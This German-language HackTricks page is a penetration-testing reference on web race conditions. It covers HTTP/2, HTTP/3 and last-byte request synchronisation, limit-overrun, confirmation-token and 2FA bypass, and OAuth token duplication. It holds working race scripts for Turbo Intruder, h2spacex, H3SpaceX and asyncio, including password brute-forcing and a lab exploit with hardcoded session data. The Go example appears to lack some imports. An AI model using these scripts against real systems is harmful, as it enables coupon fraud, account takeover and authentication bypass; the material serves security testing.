Race Condition

Reading time: 18 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

warning

Für ein tiefes Verständnis dieser Technik lesen Sie den Original-Report unter https://portswigger.net/research/smashing-the-state-machine

Verbesserung von Race Condition-Angriffen

Die größte Hürde beim Ausnutzen von race conditions ist sicherzustellen, dass mehrere Requests gleichzeitig verarbeitet werden, mit sehr geringen Unterschieden in ihren Verarbeitungszeiten — idealerweise weniger als 1ms.

Hier finden Sie einige Techniken zum Synchronisieren von Requests:

HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

  • HTTP/2: Unterstützt das Senden von zwei Requests über eine einzige TCP-Verbindung und reduziert so den Einfluss von Netzwerkjitter. Aufgrund serverseitiger Unterschiede reichen zwei Requests jedoch möglicherweise nicht für einen konsistenten race condition-Exploit aus.
  • HTTP/1.1 'Last-Byte Sync': Ermöglicht das Vorversenden der meisten Teile von 20–30 Requests, wobei ein kleines Fragment zurückgehalten wird, das dann zusammen gesendet wird, sodass die Anfragen gleichzeitig beim Server eintreffen.

Vorbereitung für Last-Byte Sync umfasst:

  1. Senden von headers und body data abzüglich des letzten Bytes, ohne den Stream zu beenden.
  2. 100ms Pause nach dem ersten Senden.
  3. Deaktivieren von TCP_NODELAY, um Nagle's algorithm zur Bündelung der finalen Frames zu nutzen.
  4. Pingen, um die Verbindung aufzuwärmen.

Das anschließende Senden der zurückgehaltenen Frames sollte dazu führen, dass sie in einem einzelnen Paket ankommen — nachprüfbar mit Wireshark. Diese Methode gilt nicht für statische Dateien, die typischerweise nicht an RC-Angriffen beteiligt sind.

HTTP/3 Last‑Frame Synchronization (QUIC)

  • Konzept: HTTP/3 läuft über QUIC (UDP). Es gibt kein TCP-Coalescing oder Nagle, auf das man sich verlassen könnte, daher funktioniert das klassische Last‑Byte Sync mit Standard-Clients nicht. Stattdessen muss man mehrere QUIC stream‑final DATA-Frames (FIN) gezielt in dasselbe UDP-Datagramm zusammenfassen, damit der Server alle Ziel-Requests im selben Scheduling-Tick verarbeitet.
  • Wie man es macht: Verwenden Sie eine speziell entwickelte Bibliothek, die QUIC-Frame-Kontrolle exposes. Zum Beispiel manipuliert H3SpaceX quic-go, um HTTP/3 last‑frame synchronization sowohl für requests mit Body als auch für GET‑artige requests ohne Body zu implementieren.
  • Requests‑with‑body: Senden Sie HEADERS + DATA abzüglich des letzten Bytes für N Streams, und flushen Sie dann das letzte Byte jedes Streams gemeinsam.
  • GET‑style: Konstruieren Sie gefälschte DATA-Frames (oder einen winzigen Body mit Content‑Length) und beenden Sie alle Streams in einem Datagramm.
  • Praktische Grenzen:
    • Die Concurrency wird durch den max_streams-Transport-Parameter des Peers begrenzt (ähnlich HTTP/2’s SETTINGS_MAX_CONCURRENT_STREAMS). Ist dieser Wert niedrig, öffnen Sie mehrere H3-Verbindungen und verteilen Sie das Rennen darauf.
    • UDP-Datagrammgröße und Path-MTU begrenzen, wie viele stream‑final Frames Sie zusammenfassen können. Die Bibliothek kann bei Bedarf in mehrere Datagrams aufteilen, aber ein Single‑Datagram-Flush ist am zuverlässigsten.
  • Praxis: Es gibt öffentliche H2/H3 Race-Labs und Beispiel-Exploits, die H3SpaceX begleiten.
HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example
go
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}

Anpassung an die Serverarchitektur

Das Verständnis der Zielarchitektur ist entscheidend. Frontend-Server leiten Anfragen möglicherweise unterschiedlich weiter, was das Timing beeinflusst. Serverseitiges Vorwärmen von Verbindungen durch belanglose Anfragen kann das Anfrage-Timing normalisieren.

Umgang mit sitzungsbasierten Sperren

Frameworks wie PHPs session handler serialisieren Anfragen pro Session, was Schwachstellen verschleiern kann. Die Verwendung unterschiedlicher Session-Tokens für jede Anfrage kann dieses Problem umgehen.

Überwinden von Rate- oder Ressourcenlimits

Wenn Connection Warming nicht effektiv ist, kann das gezielte Auslösen von Rate- oder Ressourcenlimit-Verzögerungen des Webservers durch eine Flut von Dummy-Anfragen den single-packet attack erleichtern, indem serverseitig eine Verzögerung erzeugt wird, die Race Conditions begünstigt.

Angriffsbeispiele

  • Turbo Intruder - HTTP2 single-packet attack (1 endpoint): Du kannst die Anfrage an Turbo intruder senden (Extensions -> Turbo Intruder -> Send to Turbo Intruder), du kannst im Request den Wert ändern, den du brute forcen willst für %s wie in csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s und dann examples/race-single-packer-attack.py aus dem Drop-down auswählen:

Wenn du verschiedene Werte senden möchtest, könntest du den Code mit diesem Beispiel ersetzen, das eine wordlist aus der Zwischenablage verwendet:

python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

warning

Wenn die Web-Anwendung HTTP2 nicht unterstützt (nur HTTP1.1), verwende Engine.THREADED oder Engine.BURP statt Engine.BURP2.

  • Turbo Intruder - HTTP2 single-packet attack (Several endpoints): Falls du eine Anfrage an 1 endpoint senden musst und danach mehrere an andere endpoints, um die RCE auszulösen, kannst du das Skript race-single-packet-attack.py wie folgt ändern:
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Es ist auch in Repeater über die neue Option 'Send group in parallel' in Burp Suite verfügbar.
  • Für limit-overrun könntest du einfach die gleiche Anfrage 50 Mal in die Gruppe hinzufügen.
  • Für connection warming könntest du am Anfang der Gruppe einige Anfragen an einen nicht statischen Teil des Webservers hinzufügen.
  • Um den Prozess zwischen der Verarbeitung einer Anfrage und einer anderen in einem 2-Substate-Schritt zu verzögern, könntest du zusätzliche Anfragen zwischen beiden Anfragen einfügen.
  • Für ein multi-endpoint RC könntest du damit beginnen, die Anfrage zu senden, die in den versteckten Zustand übergeht, und dann unmittelbar danach 50 Anfragen, die den versteckten Zustand ausnutzen.
  • Automatisiertes python-Skript: Das Ziel dieses Skripts ist es, die E-Mail eines Nutzers zu ändern, während es kontinuierlich verifiziert, bis der Verifizierungstoken der neuen E-Mail in der letzten E-Mail ankommt (dies liegt daran, dass im Code eine RC beobachtet wurde, bei der es möglich war, eine E-Mail zu ändern, aber die Verifikation an die alte E-Mail gesendet wurde, weil die Variable, die die E-Mail angibt, bereits mit der ersten gefüllt war).
    Wenn das Wort "objetivo" in den empfangenen E-Mails gefunden wird, wissen wir, dass wir den Verifizierungstoken der geänderten E-Mail erhalten haben und beenden den Angriff.
python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Turbo Intruder: Hinweise zu Engine und Gating

  • Engine-Auswahl: Verwende Engine.BURP2 bei HTTP/2-Zielen, um den single‑packet attack auszulösen; weiche für HTTP/1.1 last‑byte sync auf Engine.THREADED oder Engine.BURP zurück.
  • gate/openGate: stelle viele Kopien mit gate='race1' (oder pro Versuch eigene Gates) in die Warteschlange, welche den tail jeder Anfrage zurückhalten; openGate('race1') spült alle tails zusammen, sodass sie nahezu gleichzeitig ankommen.
  • Diagnostik: Negative Zeitstempel in Turbo Intruder zeigen an, dass der Server geantwortet hat, bevor die Anfrage vollständig gesendet wurde — ein Beweis für Überlappung. Das ist bei echten races zu erwarten.
  • Connection warming: Sende zuerst ein ping oder ein paar harmlose Requests, um die Timings zu stabilisieren; optional TCP_NODELAY deaktivieren, um das Batching der finalen Frames zu begünstigen.

Verbesserung der Single Packet Attack

In der Originalforschung wird erklärt, dass dieser Angriff eine Grenze von 1.500 Bytes hat. Allerdings wurde in this post beschrieben, wie es möglich ist, die 1.500-Byte-Beschränkung des single packet attack auf die 65,535 B window limitation of TCP by using IP layer fragmentation zu erweitern (Aufteilen eines einzelnen Pakets in mehrere IP‑Pakete) und diese in unterschiedlicher Reihenfolge zu senden, wodurch das Reassemblieren des Pakets verhindert wird, bis alle Fragmente beim Server eingetroffen sind. Mit dieser Technik konnte der Forscher etwa 10.000 Requests in rund 166 ms senden.

Beachte, dass diese Verbesserung den Angriff zwar in RCs zuverlässiger macht, die Hunderte/Tausende von Paketen gleichzeitig benötigen, sie aber auch Software‑Beschränkungen treffen kann. Einige verbreitete HTTP-Server wie Apache, Nginx und Go haben eine strikte Einstellung SETTINGS_MAX_CONCURRENT_STREAMS auf 100, 128 bzw. 250. Andere wie NodeJS und nghttp2 haben diese Grenze jedoch nicht.
Das bedeutet im Grunde, dass Apache nur 100 HTTP-Streams/Connections pro einzelner TCP-Verbindung berücksichtigt (was diesen RC-Angriff einschränkt). Für HTTP/3 ist das analoge Limit das QUIC‑Transport‑Parameter max_streams – ist es klein, verteile deinen race über mehrere QUIC-Verbindungen.

Du findest einige Beispiele für diese Technik im Repo https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

Vor der genannten Forschung wurden folgende Payloads benutzt, die einfach versuchten, die Pakete so schnell wie möglich zu senden, um eine RC zu erzeugen.

  • Repeater: Check the examples from the previous section.
  • Intruder: Sende die request an Intruder, setze die number of threads auf 30 im Options menu and, wähle als Payload Null payloads und generiere 30.
  • Turbo Intruder
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodik

Limit-overrun / TOCTOU

Dies ist der grundlegendste Typ einer race condition, bei der vulnerabilities an Stellen auftreten, die die Anzahl der Ausführungen einer Aktion beschränken. Zum Beispiel die mehrfache Verwendung desselben Rabattcodes in einem Webshop. Ein sehr einfaches Beispiel findet sich in this report oder in this bug.

Es gibt viele Variationen dieses Angriffs, darunter:

  • Mehrfaches Einlösen einer Geschenkkarte
  • Mehrfaches Bewerten eines Produkts
  • Abheben oder Überweisen von Geld über das Kontoguthaben hinaus
  • Wiederverwendung einer einzelnen CAPTCHA-Lösung
  • Umgehen eines Anti-Brute-Force-Rate-Limits

Hidden substates

Das Ausnutzen komplexer race conditions beinhaltet oft, kurzfristige Möglichkeiten zu nutzen, um mit verborgenen oder unintended machine substates zu interagieren. So gehst du vor:

  1. Identify Potential Hidden Substates
  • Beginne damit, Endpunkte zu identifizieren, die kritische Daten verändern oder damit interagieren, wie Benutzerprofile oder password reset processes. Konzentriere dich auf:
  • Storage: Bevorzuge Endpunkte, die server-side persistente Daten manipulieren, gegenüber denen, die Daten client-side verarbeiten.
  • Action: Suche nach Operationen, die bestehende Daten ändern — diese erzeugen eher ausnutzbare Zustände als solche, die neue Daten hinzufügen.
  • Keying: Erfolgreiche Angriffe betreffen meist Operationen, die auf denselben Bezeichner keyed sind, z. B. username oder reset token.
  1. Conduct Initial Probing
  • Teste die identifizierten Endpunkte mit race condition-Angriffen und beobachte Abweichungen vom erwarteten Verhalten. Unerwartete Antworten oder Änderungen im Anwendungsverhalten können auf eine vulnerability hinweisen.
  1. Demonstrate the Vulnerability
  • Fokussiere den Angriff auf die minimal erforderliche Anzahl von Requests, oft nur zwei. Aufgrund des präzisen Timings sind dafür möglicherweise mehrere Versuche oder Automation nötig.

Time Sensitive Attacks

Präzises Timing von Requests kann vulnerabilities aufdecken, besonders wenn vorhersehbare Methoden wie Timestamps für Sicherheits- tokens verwendet werden. Beispielsweise kann die Generierung von password reset tokens auf Basis von Timestamps identische Tokens für gleichzeitige Requests ermöglichen.

To Exploit:

  • Verwende präzises Timing, z. B. einen single packet attack, um gleichzeitige password reset requests zu senden. Identische tokens deuten auf eine vulnerability hin.

Example:

  • Fordere zwei password reset tokens gleichzeitig an und vergleiche sie. Übereinstimmende tokens deuten auf einen Fehler in der Token-Generierung hin.

Check this PortSwigger Lab to try this.

Hidden substates case studies

Pay & add an Item

Check this PortSwigger Lab to see how to pay in a store and add an extra item you that won't need to pay for it.

Confirm other emails

Die Idee ist, eine E-Mail-Adresse zu verifizieren und sie gleichzeitig auf eine andere zu ändern, um herauszufinden, ob die Plattform die neue Adresse verifiziert.

Laut this research war Gitlab auf diese Weise für eine Übernahme verwundbar, weil es möglicherweise den email verification token der einen Adresse an die andere Adresse sendet.

Check this PortSwigger Lab to try this.

Hidden Database states / Confirmation Bypass

Wenn zwei unterschiedliche Writes verwendet werden, um Informationen in eine Datenbank zu schreiben, gibt es einen kurzen Zeitraum, in dem nur die erste Information bereits in der Datenbank steht. Zum Beispiel können beim Erstellen eines Benutzers der username und das password geschrieben werden und erst danach der token, um das neu erstellte Konto zu bestätigen. Das bedeutet, dass für einen kurzen Moment der token zur Bestätigung eines Kontos null ist.

Daher kann das Registrieren eines Accounts und das unmittelbare Senden mehrerer Requests mit einem leeren token (token= oder token[]= oder jede andere Variation) zur Bestätigung des Accounts erlauben, dass du einen Account bestätigst, dessen E-Mail du nicht kontrollierst.

Check this PortSwigger Lab to try this.

Bypass 2FA

Der folgende pseudo-code ist anfällig für race condition, weil in einem sehr kurzen Zeitraum die 2FA is not enforced während die Session erstellt wird:

python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 dauerhafte Persistenz

There are several OAUth providers. Diese Dienste erlauben es, eine Anwendung zu erstellen und Nutzer zu authentifizieren, die beim Provider registriert sind. Um dies zu tun, muss der Client Ihrer Anwendung erlauben, auf einige ihrer Daten beim OAUth provider zuzugreifen.
Bis hierhin also ein ganz normales Login mit google/linkedin/github..., bei dem Ihnen eine Seite angezeigt wird mit der Aufforderung: "Anwendung möchte auf Ihre Informationen zugreifen, möchten Sie das erlauben?"

Race Condition bei authorization_code

Das Problem tritt auf, wenn Sie es akzeptieren und automatisch ein authorization_code an die bösartige Anwendung gesendet wird. Danach missbraucht diese Anwendung eine Race Condition im OAUth service provider, um mehrere AT/RT (Authentication Token/Refresh Token) aus dem authorization_code für Ihr Konto zu generieren. Im Grunde nutzt sie die Tatsache aus, dass Sie der Anwendung Zugriff auf Ihre Daten gewährt haben, um mehrere Accounts zu erstellen. Wenn Sie der Anwendung später den Zugriff entziehen, wird ein Paar AT/RT gelöscht, aber die anderen bleiben weiterhin gültig.

Race Condition bei Refresh Token

Sobald Sie einen gültigen RT erhalten haben, können Sie versuchen, diesen auszunutzen, um mehrere AT/RT zu erzeugen, und selbst wenn der Nutzer die Berechtigungen für die bösartige Anwendung widerruft, bleiben mehrere RTs weiterhin gültig.

RC in WebSockets

  • In WS_RaceCondition_PoC you can find a PoC in Java to send websocket messages in parallel to abuse Race Conditions also in Web Sockets.
  • With Burp’s WebSocket Turbo Intruder you can use the THREADED engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune config() (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See RaceConditionExample.py.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks